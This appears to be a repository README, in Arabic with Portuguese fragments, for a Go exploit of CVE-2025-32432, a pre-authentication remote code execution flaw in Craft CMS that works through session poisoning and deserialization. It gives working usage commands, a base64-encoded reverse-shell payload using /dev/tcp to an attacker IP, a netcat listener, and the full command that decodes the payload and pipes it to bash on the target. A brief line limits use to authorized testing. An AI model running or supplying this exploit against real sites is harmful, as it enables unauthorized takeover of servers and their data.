heltonpojo/cve-2025-32432استغلال RCE قبل المصادقة لنظام Craft CMS بلغة Go. يلتقط رمز الجلسة/CSRF، يسمم جلسة PHP، ويطلق إلغاء التسلسل لتنفيذ الأوامر أو فتح قشرة عكسية.
أداة استغلال لتنفيذ التعليمات البرمجية عن بُعد دون مصادقة في Craft CMS، مكتوبة بلغة Go.
مستوحاة من العمل الأصلي لـ c0gnit00.
GET /admin/loginassets/generate-transform لتضمين وتنفيذ الملف المسمومgo run main.go -u <url> -c <comando>
| الخيار | الوصف | إلزامي |
|---|---|---|
-u | عنوان الهدف (مثل: http://target.com) | نعم |
-c | الأمر المراد تنفيذه (مثل: id, whoami) | نعم |
# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami
1. أنشئ الحمولة بتنسيق base64 مع عنوان IP والمنفذ الخاصين بك:
echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64
2. شغّل المستمع:
nc -lvnp 4444
3. نفّذ أداة الاستغلال مع الحمولة:
go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"
استبدل قيمة base64 بتلك المولدة في الخطوة 1 باستخدام عنوان IP الحقيقي الخاص بك.
للاستخدام الحصري في البيئات المصرّح بها واختبارات الأمان الخاضعة للرقابة.